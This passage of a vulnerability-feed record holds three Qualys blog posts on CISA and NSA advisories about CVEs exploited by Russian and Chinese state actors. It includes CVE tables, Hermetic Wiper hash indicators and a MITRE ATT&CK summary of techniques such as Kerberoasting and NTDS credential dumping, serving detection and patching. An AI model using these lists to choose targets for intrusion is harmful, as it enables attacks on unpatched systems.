Connect Secure Multiple Security Vulnerabilities (SA44101)| 8/6/2019| 10 \nCVE-2019-19781| 372305| Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability(CTX267027)| 12/23/2019| 9.8 \nCVE-2020-0688| 50098| Microsoft Exchange Server Security Update for February 2020| 2/12/2020| 9.8 \nCVE-2020-4006| 13215| VMware Workspace One Access Command Injection Vulnerability (VMSA-2020-0027)| 12/7/2020| 9.1 \nCVE-2020-5902| 38791| F5 BIG-IP ASM,LTM,APM TMUI Remote Code Execution Vulnerability (K52145254) (unauthenticated check)| 7/5/2020| 9.8 \nCVE-2020-14882| 87431| Oracle WebLogic Server Multiple Vulnerabilities (CPUOCT2020)| 10/21/2020| 9.8 \nCVE-2021-26855, CVE-2021- 26857 CVE-2021-26858, CVE-2021-27065 | 50107| Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyLogon)| 3/3/2021| 9.8 \n \nSee the full list of [CISA known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n#### Remediate CISA recommended catalog of exploited vulnerabilities \n\nFor all CISA cataloged vulnerabilities known to be exploited by Russian state-sponsored actors, [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>) customers can create a patch and configuration fix jobs to remediate the risk of all vulnerabilities directly from the VMDR console. Qualys Patch Management maps \u201cCISA Exploited\u201d vulnerabilities detected in the environment to the relevant patches required to remediate those vulnerabilities by downloading the patches without needing to go through the VPN. Customers may use Zero Touch patching to automate the process and ensure all CISA exploited vulnerabilities are automatically fixed including the new vulnerabilities added to the CISA catalog in the future. \n\n\n\n#### Monitor and ensure your software are always up to date\n\nImmediately know all end-of-support critical components across your environment, including open-source software. Qualys CSAM tracks lifecycle stages and corresponding support status, to help organizations manage their technical debt and to reduce the risk of not receiving security patches from the vendor. Security and IT teams can work together to plan upgrades ahead of time by knowing upcoming end-of-life & end-of-support dates.\n\n\n\nUse the \u201cPrioritize Report\u201d function in Qualys Patch Management to map software in your environment to the security risk opposed. Prioritize your remediation efforts based on software that introduces the most risk. Use this report to create automated patch jobs to ensure that the riskiest software is always up to date. Alternatively, deploy individual patches for the riskiest software. \n\n\n\n### Step 3: Protect Your Cloud Services and Office 365\n\nAs noted by CISA, misconfiguration of cloud services and SaaS applications like Office 365 are the primary attack vector for breaches.\n\n#### Detect and Remediate Public Cloud Infrastructure Misconfigurations****\n\nProtect your public cloud infrastructure by securing the following services on priority:\n\n * **IAM**: Ensure all users are MFA enabled and rotate all access keys older than 30 days. Verify that all service accounts are valid (i.e. in use) and have the minimum privilege.\n * **Audit Logs**: Turn on access logging for all cloud management events and for critical services (e.g. S3, RDS, etc.)\n * **Public-facing assets**: Validate that the firewall rules for public-facing assets allow only the needed ports. Pay special attention to RDP access. Place any system with an open RDP port behind a firewall and require users to use a VPN to access it through the firewall.\n\n Automatically detect and remediate cloud misconfigurations using [Qualys CloudView](<https://www.qualys.com/apps/cloud-security-assessment/>).\n\n\n\n#### Protect your Office 365 and Other SaaS Services****\n\nEnforce multi-factor authentication on all accounts with access to Office 365 tenants. At a minimum, enable MFA for accounts with different admin access rights to the tenant. [Qualys SaaSDR](<https://www.qualys.com/apps/saas-detection-response/>) lists all such accounts on which MFA is disabled. Further, Qualys SaaSDR enables continuous security posture assessment of Office 365 via the CIS (Center for Internet Security) certified policy for Office, along with automated security configuration assessment for Zoom, Salesforce, and Google Workspace. This is based on an analysis of all security weaknesses, critical vulnerabilities, and exploits leveraged by attackers in historical attacks as well as security assessments based on the MITRE ATT&CK framework.\n\n\n\n### Step 4: Continuously Detect any Potential Threats and Attacks \n\nMonitor for increases in suspicious and malicious activities as well as anomalous behavior on all endpoints. With Qualys Multi-Vector EDR, customers can detect Indicators of Compromise (IOC) and MITRE ATT&CK Tactics & Techniques provided by CISA and respond quickly to mitigate the risk by capturing process, file, and network events on the endpoint and correlating them with the latest Threat Intelligence, including new and upcoming Indicators of Compromise (IOC) constantly added by the Qualys Research Team. Anomalous endpoint behavior is detected and identified as MITRE ATT&CK Tactics and Techniques.\n\n\n\nThe Appendix at the bottom of this post contains a list of Indicators of Compromise (IOC) and MITRE ATT&CK Tactics & Techniques being utilized.\n\n## Take Action to Learn More about How to Strengthen Your Defenses\n\nWe encourage you to learn more about how to strengthen your defenses consistent with CISA Shields Up guidelines using Qualys Cloud Platform. Join our webinar, [How to Meet CISA Shields Up Guidelines for Cyberattack Protection](<https://event.on24.com/wcc/r/3684128/0F6FB4010D39461FD4209A3E4EB8E9CD>), on March 3, 2022.\n\nQualys recommends that all organizations, regardless of size, heighten their security posture based on the above actionable steps, to protect critical cyber infrastructure from potential state-sponsored, advanced cyberattacks. Qualys Cloud Platform remains continuously committed to high standards of security and compliance to safeguard customer data. In this amplified threat environment, the entire Qualys team is available to help our customers improve cybersecurity and resilience.\n\n* * *\n\n****Implement CISA\u2019s Shields Up Guidance****\n\n[Try it Now](<https://www.qualys.com/forms/cisa-shields-up-service/>)\n\n* * *\n\n### **Appendix:**\n\n#### CISA catalog of known exploited vulnerabilities by state attackers\n\n**CVE**| **QID**| **Title**| **Release Date**| **CVSS_V3** \n---|---|---|---|--- \nCVE-2018-13379| 43702| Fortinet Fortigate (FortiOS) System File Leak through Secure Sockets Layer (SSL) Virtual Private Network (VPN) via Specially Crafted Hypertext Transfer Protocol (HTTP) Resource Requests (FG-IR-18-384)| 9/12/2019| 9.8 \nCVE-2019-1653| 13405| Cisco Small Business RV320 and RV325 Router Multiple Security Vulnerabilities| 1/29/2019| 7.5 \nCVE-2019-2725| 87386| Oracle WebLogic Server Remote Code Execution Vulnerability (Oracle Security Alert Advisory - CVE-2019-2725)| 4/27/2019| 9.8 \nCVE-2019-7609| 371687| Kibana Multiple Security Vulnerabilities (ESA-2019-01,ESA-2019-02,ESA-2019-03)| 4/18/2019| 10 \nCVE-2019-9670| 375990| Zimbra XML External Entity Injection (XXE) Vulnerability| 8/12/2021| 9.8 \nCVE-2019-10149| 50092| Exim Remote Command Execution Vulnerability| 6/5/2019| 9.8 \nCVE-2019-11510| 38771| Pulse Connect Secure Multiple Security Vulnerabilities (SA44101)| 8/6/2019| 10 \nCVE-2019-19781| 372305| Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability(CTX267027)| 12/23/2019| 9.8 \nCVE-2020-0688| 50098| Microsoft Exchange Server Security Update for February 2020| 2/12/2020| 9.8 \nCVE-2020-4006| 13215| VMware Workspace One Access Command Injection Vulnerability (VMSA-2020-0027)| 12/7/2020| 9.1 \nCVE-2020-5902| 38791| F5 BIG-IP ASM,LTM,APM TMUI Remote Code Execution Vulnerability (K52145254) (unauthenticated check)| 7/5/2020| 9.8 \nCVE-2020-14882| 87431| Oracle WebLogic Server Multiple Vulnerabilities (CPUOCT2020)| 10/21/2020| 9.8 \nCVE-2021-26855, CVE-2021- 26857 CVE-2021-26858, CVE-2021-27065 | 50107| Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyLogon)| 3/3/2021| 9.8 \n \nSee the full list of [CISA known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n#### List of IOCs related to Hermetic Wiper aka KillDisk\n\n**SHA256 Hashes** \n--- \n0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da \n06086c1da4590dcc7f1e10a6be3431e1166286a9e7761f2de9de79d7fda9c397 \n095c7fa99dbc1ed7a3422a52cc61044ae4a25f7f5e998cc53de623f49da5da43 \n0db5e5b68dc4b8089197de9c1e345056f45c006b7b487f7d8d57b49ae385bad0 \n1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 \n2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf \n34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907 \n3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 \n4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 \n7e154d5be14560b8b2c16969effdb8417559758711b05615513d1c84e56be076 \n923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6 \n9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d \na196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 \nb01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1 \nb60c0c04badc8c5defab653c581d57505b3455817b57ee70af74311fa0b65e22 \nb6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd \nc2d06ad0211c24f36978fe34d25b0018ffc0f22b0c74fd1f915c608bf2cfad15 \nd4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a \ndcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 \ne5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5 \nf50ee030224bf617ba71d88422c25d7e489571bc1aba9e65dc122a45122c9321 \nfd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d \n \n#### List of MITRE ATT&CK TIDs provided by CISA\n\n**Tactic**| **Technique******| **Procedure****** \n---|---|--- \nReconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]| Active Scanning: Vulnerability Scanning [[T1595.002](<https://attack.mitre.org/versions/v10/techniques/T1595/002/>)]| \nRussian state-sponsored APT actors have performed large-scale scans in an attempt to find vulnerable servers. \nPhishing for Information [[T1598](<https://attack.mitre.org/versions/v10/techniques/T1598>)]| Russian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks. \nResource Development [[TA0042]](<https://attack.mitre.org/versions/v10/tactics/TA0042/>)| Develop Capabilities: Malware [[T1587.001](<https://attack.mitre.org/versions/v10/techniques/T1587/001>)]| Russian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware. \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]| Exploit Public Facing Applications [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]| Russian state-sponsored APT actors use publicly known vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks. \nSupply Chain Compromise: Compromise Software Supply Chain [[T1195.002](<https://attack.mitre.org/versions/v10/techniques/T1195/002>)]| Russian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted third-party software. Notable incidents include M.E.Doc accounting software and SolarWinds Orion. \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]| Command and Scripting Interpreter: PowerShell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)] and Windows Command Shell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)]| Russian state-sponsored APT actors have used `cmd.exe` to execute commands on remote machines. They have also used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands. \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]| Valid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]| Russian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks. \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006>)]| Brute Force: Password Guessing [[T1110.001](<https://attack.mitre.org/versions/v10/techniques/T1110/001>)] and Password Spraying [[T1110.003](<https://attack.mitre.org/versions/v10/techniques/T1110/003>)]| Russian state-sponsored APT actors have conducted brute-force password guessing and password spraying campaigns. \nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]| Russian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database `ntds.dit`. \nSteal or Forge Kerberos Tickets: Kerberoasting [[T1558.003](<https://attack.mitre.org/versions/v10/techniques/T1558/003/>)]| Russian state-sponsored APT actors have performed \u201cKerberoasting,\u201d whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking. \nCredentials from Password Stores [[T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>)]| Russian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords. \nExploitation for Credential Access [[T1212](<https://attack.mitre.org/versions/v10/techniques/T1212>)]| Russian state-sponsored APT actors have exploited Windows Netlogon vulnerability [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) to obtain access to Windows Active Directory servers. \nUnsecured Credentials: Private Keys [[T1552.004](<https://attack.mitre.org/versions/v10/techniques/T1552/004>)]| Russian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates. \nCommand and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]| Proxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)]| Russian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-26T20:20:32", "type": "qualysblog", "title": "Russia-Ukraine Crisis: How to Strengthen Your Security Posture to Protect against Cyber Attack, based on CISA Guidelines", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-02-26T20:20:32", "id": "QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-12T20:01:11", "description": "On October 6, 2022, the United States National Security Agency (NSA) released a [cybersecurity advisory](<https://media.defense.gov/2022/Oct/06/2003092365/-1/-1/0/Joint_CSA_Top_CVEs_Exploited_by_PRC_cyber_actors_.PDF>) on the Chinese government\u2014officially known as the People\u2019s Republic of China (PRC) states-sponsored cyber actors' activity to seek national interests. These malicious cyber activities attributed to the Chinese government targeted, and persist to target, a mixture of industries and organizations in the United States. They provide the top CVEs used since 2020 by the People's Republic of China (PRC) states-sponsored cyber actors as evaluated by the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and Federal Bureau of Investigation (FBI). The PRC malicious actor continues to exploit known vulnerabilities to target U.S. and vigorously allied networks and software and hardware companies to rob intellectual property and develop access to sensitive networks. \n\nThey stated that PRC state-sponsored cyber activities as one of the most significant and dynamic threats to U.S. government and civilian networks. The PRC state-sponsored cyber actors persist in targeting government and critical infrastructure networks with an increasing array of new and adaptive techniques. Some could pose a considerable risk to Information Technology Sector, telecommunications organizations, Defense Industrial Base (DIB) Sector, and other critical infrastructure organizations. \n\nPRC state-sponsored cyber actors continue to exploit known vulnerabilities and use publicly available tools to target victims. Here is a list of 20 publicly known vulnerabilities (CVEs) published by the NSA, along with affected products and associated Qualys VMDR QID(s) for each vulnerability: \n\n**Vendor**| **CVE**| **Vulnerability Type**| Qualys **QID**(s) \n---|---|---|--- \n| | | \nApache Log4j | CVE-2021-44228 | Remote Code Execution | 730302, 150441, 150440, and more \nPulse Connect Secure | CVE-2019-11510 | Arbitrary File Read | 38771 \nGitLab CE/EE | CVE-2021-22205 | Remote Code Execution | 375475 \nAtlassian | CVE-2022-26134 | Remote Code Execution | 730514, 376657, 150523 \nMicrosoft Exchange | CVE-2021-26855 | Remote Code Execution | 50107, 50108 \nF5 Big-IP | CVE-2020-5902 | Remote Code Execution | 38791, 373106 \nVMware vCenter Server | CVE-2021-22005 | Arbitrary File Upload | 216265, 216266 \nCitrix ADC | CVE-2019-19781 | Path Traversal | 372685, 150273, 372305 \nCisco Hyperflex | CVE-2021-1497 | Command Line Execution | 730070 \nBuffalo WSR | CVE-2021-20090 | Relative Path Traversal | NA \nAtlassian Confluence Server and Data Center | CVE-2021-26084 | Remote Code Execution | 150368, 375839, 730172 \nHikvision Webserver | CVE-2021-36260 | Command Injection | NA \nSitecore XP | CVE-2021-42237 | Remote Code Execution | 14012 \nF5 Big-IP | CVE-2022-1388 | Remote Code Execution | 150511, 730489, 376577 \nApache | CVE-2022-24112 | Authentication Bypass by Spoofing | 730361 \nZOHO | CVE-2021-40539 | Remote Code Execution | 375840 \nMicrosoft | CVE-2021-26857 | Remote Code Execution | 50107 \nMicrosoft | CVE-2021-26858 | Remote Code Execution | 50107 \nMicrosoft | CVE-2021-27065 | Remote Code Execution | 50107 \nApache HTTP Server | CVE-2021-41773 | Path Traversal | 150373, 150372, 710595 and more \nTable 1: Top CVEs most used by Chinese state-sponsored cyber actors since 2020 \n\nNSA stated that the threat actors use virtual private networks (VPNs) to obscure their activities and establish initial access. Multiple CVEs indicated in Table 1 let the actors stealthily acquire unauthorized access into sensitive networks, after which they pursue to develop persistence and reposition laterally to other internally connected networks. \n\nThe NSA highlights how the People\u2019s Republic of China (PRC) has targeted and compromised significant telecom establishments and network service providers mostly by exploiting publicly known vulnerabilities. Networks affected have varied from small office/home office (SOHO) routers to medium and large enterprise networks. \n\nPRC state-sponsored cyber actors readily exploit vulnerabilities to compromise unpatched network devices. The devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, serve as additional access points to route command and control (C2) traffic and act as means to conduct network intrusions on other entities. Furthermore, cyber defenders often overlook these devices, who work to maintain and keep pace with frequent software patching of Internet-facing services and endpoint devices. \n\n## Detect & Prioritize 20 Publicly Known Vulnerabilities using VMDR 2.0 \n\nQualys released several remote and authenticated QIDs for commonly exploited vulnerabilities. You can search for these QIDs in [Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>), Vulnerabilities tab by using the following QQL query: \n\n_vulnerabilities.vulnerability.cveIds: [CVE-2021-44228, CVE-2019-11510, CVE-2021-22205, CVE-2022-26134, CVE-2021-26855, CVE-2020-5902, CVE-2021-22005, CVE-2019-19781, CVE-2021-1497, CVE-2021-20090, CVE-2021-26084, CVE-2021-36260, CVE-2021-42237, CVE-2022-1388, CVE-2022-24112, CVE-2021-40539, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-41773]_ \n\n\n\nUsing, [Qualys VMDR 2.0](<https://www.qualys.com/apps/vulnerability-management-detection-response/>), you can also effectively prioritize these vulnerabilities using the [Qualys TruRisk](<https://blog.qualys.com/vulnerabilities-threat-research/2022/10/10/in-depth-look-into-data-driven-science-behind-qualys-trurisk>).\n\n\n\n## Identify Vulnerable Assets using Qualys Threat Protection \n\nIn addition, you can locate vulnerable hosts through Qualys Threat Protection by simply clicking on the impacted hosts. This helps in effectively identifying and tracking this vulnerability. \n\n\n\nUsing the Qualys Unified Dashboard, you can track, impacted hosts, their status, and overall management in real time. With trending enabled for dashboard widgets, you can keep track of the vulnerability trends in your environment. \n\nRead the Article (Qualys Customer Portal): [NSA Top Exploited CVEs | China State Actors](<https://success.qualys.com/support/s/article/000007011>) \n\n\n\n## Recommendations & Mitigations \n\nThe NSA, CISA, and FBI recommend U.S. and allied governments, critical infrastructure, and private sector organizations use the mitigation guidance provided to boost their defensive posture and decrease the threat of compromise from PRC state-sponsored threat cyber actors. \n\nHere is a summary of mitigations guidance provided by the NSA: \n\n * Update, prioritize and patch vulnerable systems as soon as possible, as listed in this article and the list provided by [CISA KEV](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>). \n * Utilize phishing-resistant multi-factor authentication and require all accounts with a unique and strong password. \n * Block obsolete or unused protocols at the network edge. \n * Upgrade or replace end-of-life devices. \n * Move toward the Zero Trust security model. \n * Enable robust logging of Internet-facing systems and monitor the logs for anomalous activity. \n\nOne of the soundest methods that organizations of all sizes could stay on top of these vulnerabilities and end-of-life (EOL) network/device infrastructure as noted by NSA general mitigations guidelines is to catalog the infected assets and apply patches as soon as possible. This could be an effortless process if the corps utilize the power of Qualys VMDR 2.0. You can start your [Qualys VMDR 2.0 trial](<https://www.qualys.com/subscriptions/vmdr/>) for automatically identifying, detecting, and patching the high-priority commonly exploited vulnerabilities. \n\n## Contributors\n\n * Felix Jimenez Saez, Director, Product Management, Qualys\n * Swapnil Ahirrao, Principal Product Manager, VMDR, Qualys", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-10-07T20:03:01", "type": "qualysblog", "title": "NSA Alert: Topmost CVEs Actively Exploited By People\u2019s Republic of China State-Sponsored Cyber Actors", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-5902", "CVE-2021-1497", "CVE-2021-20090", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-26084", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-36260", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42237", "CVE-2021-44228", "CVE-2022-1388", "CVE-2022-24112", "CVE-2022-26134"], "modified": "2022-10-07T20:03:01", "id": "QUALYSBLOG:D38E3F9D341C222CBFEA0B99AD50C439", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-02T20:34:35", "description": "On July 28, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [cybersecurity advisory](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>) detailing the top 30 publicly known vulnerabilities that have been routinely exploited by cyber threat actors in 2020 and 2021. Organizations are advised to prioritize and apply patches or workarounds for these vulnerabilities as soon as possible.\n\nThe advisory states, \u201cIf an organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited or that would be accessible to the largest number of potential attackers (such as internet-facing systems).\u201d\n\nCISA released the advisory in conjunction with the Australian Cyber Security Centre (ACSC), the United Kingdom\u2019s National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI).\n\nThe CISA advisory is similar in scope to the October 2020 United States National Security Agency (NSA) [cybersecurity advisory](<https://media.defense.gov/2020/Oct/20/2002519884/-1/-1/0/CSA_CHINESE_EXPLOIT_VULNERABILITIES_UOO179811.PDF>) listing the top 25 known vulnerabilities being actively used by Chinese state-sponsored cyber actors [that security teams can detect and mitigate or remediate](<https://blog.qualys.com/product-tech/2020/10/22/nsa-alert-chinese-state-sponsored-actors-exploit-known-vulnerabilities>) in their infrastructure using Qualys VMDR.\n\n### Top Routinely Exploited Vulnerabilities\n\nHere is the list of top routinely exploited vulnerabilities in 2020 and 2021 along with affected products and associated Qualys VMDR QID(s) for each vulnerability.\n\n**CVE-IDs**| **Affected Products**| **Qualys Detections (QIDs)** \n---|---|--- \nCVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065| Microsoft Exchange| 50107, 50108 \nCVE-2021-22893, CVE-2021-22894, CVE-2021-22899, CVE-2021-22900| Pulse Secure| 38838 \nCVE-2021-27101, CVE-2021-27102, CVE-2021-27103, CVE-2021-27104| Accellion| 38830 \nCVE-2021-21985| VMware| 730102, 216261, 216260, 216259 \nCVE-2018-13379, CVE-2020-12812, CVE-2019-5591| Fortinet| 43702, 43769, 43825 \nCVE-2019-19781| Citrix| 150273, 372305, 372685 \nCVE-2019-11510| Pulse| 38771 \nCVE-2018-13379| Fortinet| 43702 \nCVE-2020-5902| F5- Big IP| 38791, 373106 \nCVE-2020-15505| MobileIron| 13998 \nCVE-2017-11882| Microsoft| 110308 \nCVE-2019-11580| Atlassian| 13525 \nCVE-2018-7600| Drupal| 371954, 150218, 277288, 176337, 11942 \nCVE-2019-18935| Telerik| 150299, 372327 \nCVE-2019-0604| Microsoft| 110330 \nCVE-2020-0787| Microsoft| 91609 \nCVE-2020-1472| Netlogon| 91688 \n \n### Detect CISA\u2019s Top Routinely Exploited Vulnerabilities using Qualys VMDR\n\nQualys released several remote and authenticated detections (QIDs) for the vulnerabilities. You can search for these QIDs in VMDR Dashboard using the following QQL query:\n\n__vulnerabilities.vulnerability.cveIds: [_`_CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27065`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-21985`,` CVE-2018-13379`,`CVE-2020-12812`,`CVE-2019-5591`,`CVE-2019-19781`,`CVE-2019-11510`,`CVE-2018-13379`,`CVE-2020-5902`,`CVE-2020-15505`,`CVE-2017-11882`,`CVE-2019-11580`,`CVE-2019-18935`,`CVE-2019-0604`,`CVE-2020-0787`,`CVE-2020-1472`]__\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), customers can effectively prioritize this vulnerability for \u201cActive Attack\u201d RTI:\n\n\n\nWith VMDR Dashboard, you can track top 30 publicly known exploited vulnerabilities, their impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of these vulnerabilities trends in your environment using the [\u201cCISA: Alert (AA21-209A) | Top Exploited\u201d dashboard](<https://success.qualys.com/support/s/article/000006738>).\n\n\n\n### Recommendations\n\nAs guided by CISA, one must do the following to protect assets from being exploited:\n\n * Minimize gaps in personnel availability and consistently consume relevant threat intelligence.\n * Organizations\u2019 vigilance team should keep a close eye on indications of compromise (IOCs) as well as strict reporting processes.\n * Regular incident response exercises at the organizational level are always recommended as a proactive approach.\n * Organizations should require multi-factor authentication to remotely access networks from external sources, especially for administrator or privileged accounts.\n * Focus cyber defense resources on patching those vulnerabilities that cyber actors most often use.\n\n### Remediation and Mitigation\n\n * Patch systems and equipment promptly and diligently.\n * Implement rigorous configuration management programs.\n * Disable unnecessary ports, protocols, and services.\n * Enhance monitoring of network and email traffic.\n * Use protection capabilities to stop malicious activity.\n\n### Get Started Now\n\nStart your [_Qualys VMDR trial_](<https://www.qualys.com/subscriptions/vmdr/>) to automatically detect and mitigate or remediate the CISA top 30 publicly known vulnerabilities that have been routinely exploited by cyber threat actors in 2020 and 2021.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-29T00:20:27", "type": "qualysblog", "title": "CISA Alert: Top Routinely Exploited Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-13379", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-18935", "CVE-2019-19781", "CVE-2019-5591", "CVE-2020-0787", "CVE-2020-12812", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-5902", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", 